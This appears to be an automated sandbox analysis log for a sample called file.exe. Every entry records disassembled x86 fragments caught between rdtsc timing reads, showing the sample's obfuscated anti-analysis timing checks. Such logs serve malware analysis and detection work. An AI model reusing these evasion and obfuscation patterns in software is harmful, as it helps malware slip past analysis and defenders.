Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C753E second address: 5C7542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C84C2 second address: 5C84C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C84C7 second address: 5C84CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9678 second address: 5C968E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F961C6B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB620 second address: 5CB69A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F96F8D16A20h 0x00000008 jmp 00007F96F8D16A1Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F96F8D16A25h 0x00000015 nop 0x00000016 mov ebx, dword ptr [ebp+122D225Ch] 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007F96F8D16A18h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 0000001Ch 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 push 00000000h 0x0000003a sub dword ptr [ebp+122D297Ch], edi 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F96F8D16A28h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC732 second address: 5CC7C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F961C6B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a ja 00007F96F961C6B4h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F96F961C6A8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b jmp 00007F96F961C6B8h 0x00000030 push 00000000h 0x00000032 xor ebx, 3CBA83F3h 0x00000038 push 00000000h 0x0000003a call 00007F96F961C6B0h 0x0000003f xor bx, A432h 0x00000044 pop edi 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 push esi 0x0000004a pop esi 0x0000004b jg 00007F96F961C6A6h 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC7C4 second address: 5CC7CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC7CB second address: 5CC7E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F96F961C6B0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC7E5 second address: 5CC7EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8691 second address: 5C86A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C86A0 second address: 5C86A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C86A5 second address: 5C86AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD534 second address: 5CD5A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F96F8D16A18h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 jmp 00007F96F8D16A1Ah 0x00000028 push 00000000h 0x0000002a mov ebx, dword ptr [ebp+122D38AAh] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007F96F8D16A18h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 0000001Bh 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c sub dword ptr [ebp+122D2845h], ecx 0x00000052 add edi, 05856346h 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD5A7 second address: 5CD5AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD5AB second address: 5CD5BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F8D16A1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE4BD second address: 5CE513 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F96F961C6B0h 0x00000008 jng 00007F96F961C6A6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 add dword ptr [ebp+122D2947h], ebx 0x00000018 push 00000000h 0x0000001a movsx ebx, cx 0x0000001d push 00000000h 0x0000001f sub dword ptr [ebp+12486746h], edi 0x00000025 push eax 0x00000026 pushad 0x00000027 pushad 0x00000028 jmp 00007F96F961C6B8h 0x0000002d jne 00007F96F961C6A6h 0x00000033 popad 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA939 second address: 5CA956 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F8D16A23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF40C second address: 5CF41B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96F961C6ABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF41B second address: 5CF494 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F8D16A25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov ebx, dword ptr [ebp+122D2287h] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F96F8D16A18h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov dword ptr [ebp+12482784h], esi 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F96F8D16A18h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 mov dword ptr [ebp+122D2998h], ebx 0x00000056 xchg eax, esi 0x00000057 push esi 0x00000058 pushad 0x00000059 push eax 0x0000005a pop eax 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF494 second address: 5CF4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF4A0 second address: 5CF4AA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD810 second address: 5CD81A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F96F961C6A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD81A second address: 5CD81E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD81E second address: 5CD847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jne 00007F96F961C6B7h 0x00000010 jp 00007F96F961C6ACh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1CFE second address: 5D1D05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2BFF second address: 5D2C04 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2C04 second address: 5D2C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D2503h], edx 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov ebx, esi 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007F96F8D16A18h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a mov bl, 6Fh 0x0000003c mov eax, dword ptr [ebp+122D14C5h] 0x00000042 mov dword ptr [ebp+122D21ADh], esi 0x00000048 push FFFFFFFFh 0x0000004a push 00000000h 0x0000004c push ecx 0x0000004d call 00007F96F8D16A18h 0x00000052 pop ecx 0x00000053 mov dword ptr [esp+04h], ecx 0x00000057 add dword ptr [esp+04h], 00000016h 0x0000005f inc ecx 0x00000060 push ecx 0x00000061 ret 0x00000062 pop ecx 0x00000063 ret 0x00000064 nop 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F96F8D16A26h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2C8B second address: 5D2C91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2C91 second address: 5D2C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2C95 second address: 5D2CBF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F96F961C6A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F96F961C6BBh 0x00000015 jmp 00007F96F961C6B5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2CBF second address: 5D2CCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F96F8D16A16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3DB5 second address: 5D3DB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3DB9 second address: 5D3DC3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F96F8D16A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3DC3 second address: 5D3DE5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F96F961C6ACh 0x00000008 jns 00007F96F961C6A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F96F961C6ABh 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3DE5 second address: 5D3DEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F96F8D16A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF5CD second address: 5CF651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007F96F961C6A8h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 0000001Ah 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D221Eh], eax 0x00000027 push dword ptr fs:[00000000h] 0x0000002e xor dword ptr [ebp+122D217Bh], eax 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007F96F961C6A8h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 00000015h 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 push edx 0x00000056 adc di, A0DFh 0x0000005b pop edi 0x0000005c adc di, A38Dh 0x00000061 mov eax, dword ptr [ebp+122D147Dh] 0x00000067 mov bx, B71Eh 0x0000006b push FFFFFFFFh 0x0000006d mov edi, dword ptr [ebp+122D38EAh] 0x00000073 nop 0x00000074 push eax 0x00000075 push edx 0x00000076 pushad 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF651 second address: 5CF658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6C58 second address: 5D6C5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6C5D second address: 5D6C67 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F96F8D16A1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DE5D5 second address: 5DE5F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96F961C6B8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1A75 second address: 5E1A89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F96F8D16A1Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6E91 second address: 5E6ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F96F961C6AEh 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 jmp 00007F96F961C6B2h 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F96F961C6AAh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7063 second address: 5E70A7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F96F9355818h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jng 00007F96F935581Ch 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push esi 0x00000017 pop esi 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push esi 0x0000001e pushad 0x0000001f jp 00007F96F9355816h 0x00000025 jg 00007F96F9355816h 0x0000002b popad 0x0000002c pop esi 0x0000002d mov eax, dword ptr [eax] 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F96F9355823h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E70A7 second address: 5E70BD instructions: 0x00000000 rdtsc 0x00000002 js 00007F96F91F29A8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC12B second address: 5EC130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC130 second address: 5EC144 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F96F91F29A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC304 second address: 5EC30F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F96F9355816h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC30F second address: 5EC315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC315 second address: 5EC31F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F96F9355816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC31F second address: 5EC323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC323 second address: 5EC329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC496 second address: 5EC49A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC49A second address: 5EC4C9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F96F9355816h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F96F935581Eh 0x00000014 pop edi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 je 00007F96F9355816h 0x0000001f jbe 00007F96F9355816h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC4C9 second address: 5EC4CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC4CF second address: 5EC4D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC798 second address: 5EC79D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC79D second address: 5EC7C0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F96F935582Eh 0x00000008 js 00007F96F9355816h 0x0000000e jmp 00007F96F9355822h 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC7C0 second address: 5EC7D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F96F91F29BAh 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57CBA3 second address: 57CBDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F96F935581Eh 0x0000000a jmp 00007F96F9355823h 0x0000000f jno 00007F96F9355816h 0x00000015 popad 0x00000016 push ecx 0x00000017 push esi 0x00000018 pop esi 0x00000019 pop ecx 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57CBDB second address: 57CBE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1F80 second address: 5F1F86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2114 second address: 5F212F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F91F29B7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F212F second address: 5F2135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2135 second address: 5F2149 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F91F29ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2149 second address: 5F214F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F214F second address: 5F216F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F96F91F29B9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F25E2 second address: 5F2600 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F9355826h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F27BE second address: 5F27C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA76F second address: 5FA790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96F9355826h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2F4F second address: 5C2F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2F53 second address: 5C2F5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F96F9355816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2F5D second address: 5C2F6B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2F6B second address: 5C2F6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3477 second address: 5C3487 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C34F0 second address: 5C34F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C391C second address: 5C3925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
